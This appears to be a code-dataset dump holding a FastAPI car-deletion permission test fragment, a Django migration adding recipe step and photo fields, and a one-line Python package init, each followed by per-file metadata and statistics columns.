f"{settings.API_V1_STR}/cars/{car.id}", headers=superuser_token_headers,
)
assert response.status_code == 404
def test_delete_car_no_permissions(
client: TestClient, normal_user_token_headers: dict, db: Session
) -> None:
car = create_test_car(db)
response = client.delete(
f"{settings.API_V1_STR}/cars/{car.id}", headers=normal_user_token_headers,
)
assert response.status_code == 401
| 29.801802
| 84
| 0.658404
| 420
| 3,308
| 4.902381
| 0.178571
| 0.075765
| 0.11219
| 0.047596
| 0.841185
| 0.816416
| 0.77222
| 0.77222
| 0.77222
| 0.691112
| 0
| 0.019939
| 0.211608
| 3,308
| 110
| 85
| 30.072727
| 0.769555
| 0
| 0
| 0.602151
| 0
| 0
| 0.203748
| 0.072854
| 0
| 0
| 0
| 0
| 0.204301
| 1
| 0.064516
| false
| 0.053763
| 0.043011
| 0
| 0.107527
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
4de249583435fe97babdccd95dd4263c7f017582
| 3,949
|
py
|
Python
|
blogs/migrations/0007_auto_20190825_0935.py
|
vincentlee9512/recipe_web
|
1af9f1e83cb9e4ff31b3e2607f12510f63a8afe7
|
[
"MIT"
] | null | null | null |
blogs/migrations/0007_auto_20190825_0935.py
|
vincentlee9512/recipe_web
|
1af9f1e83cb9e4ff31b3e2607f12510f63a8afe7
|
[
"MIT"
] | null | null | null |
blogs/migrations/0007_auto_20190825_0935.py
|
vincentlee9512/recipe_web
|
1af9f1e83cb9e4ff31b3e2607f12510f63a8afe7
|
[
"MIT"
] | null | null | null |
# Generated by Django 2.2.4 on 2019-08-25 01:35
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blogs', '0006_blog_cover'),
]
operations = [
migrations.AddField(
model_name='blog',
name='category',
field=models.CharField(default='家常菜', max_length=100),
preserve_default=False,
),
migrations.AddField(
model_name='blog',
name='ingredient',
field=models.TextField(default='lalalalalala'),
preserve_default=False,
),
migrations.AddField(
model_name='blog',
name='step_1',
field=models.TextField(default='把食材放进锅里'),
preserve_default=False,
),
migrations.AddField(
model_name='blog',
name='step_10',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_10_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_1_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_2',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_2_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_3',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_3_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_4',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_4_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_5',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_5_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_6',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_6_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_7',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_7_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_8',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_8_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
migrations.AddField(
model_name='blog',
name='step_9',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='blog',
name='step_9_photo',
field=models.ImageField(blank=True, upload_to='photos/%Y/%m/%d'),
),
]
| 31.094488
| 77
| 0.520385
| 394
| 3,949
| 5.043147
| 0.152284
| 0.199295
| 0.254655
| 0.298943
| 0.862104
| 0.862104
| 0.844489
| 0.844489
| 0.833417
| 0.805737
| 0
| 0.016982
| 0.343885
| 3,949
| 126
| 78
| 31.34127
| 0.749904
| 0.011395
| 0
| 0.733333
| 1
| 0
| 0.123014
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.008333
| 0
| 0.033333
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
4dfa4bc54decbf33ffdc80c6979bfd6eca28336f
| 47
|
py
|
Python
|
coeusfactory/__init__.py
|
mamerisawesome/coeusfactory
|
73530e118a9354b8b91f8d4a59f7f025008f366d
|
[
"MIT"
] | 1
|
2020-02-19T03:03:32.000Z
|
2020-02-19T03:03:32.000Z
|
coeusfactory/__init__.py
|
mamerisawesome/coeusfactory
|
73530e118a9354b8b91f8d4a59f7f025008f366d
|
[
"MIT"
] | null | null | null |
coeusfactory/__init__.py
|
mamerisawesome/coeusfactory
|
73530e118a9354b8b91f8d4a59f7f025008f366d
|
[
"MIT"
] | null | null | null |
from .ConnectorFactory import ConnectorFactory
| 23.5
| 46
| 0.893617
| 4
| 47
| 10.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085106
| 47
| 1
| 47
| 47
| 0.976744
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.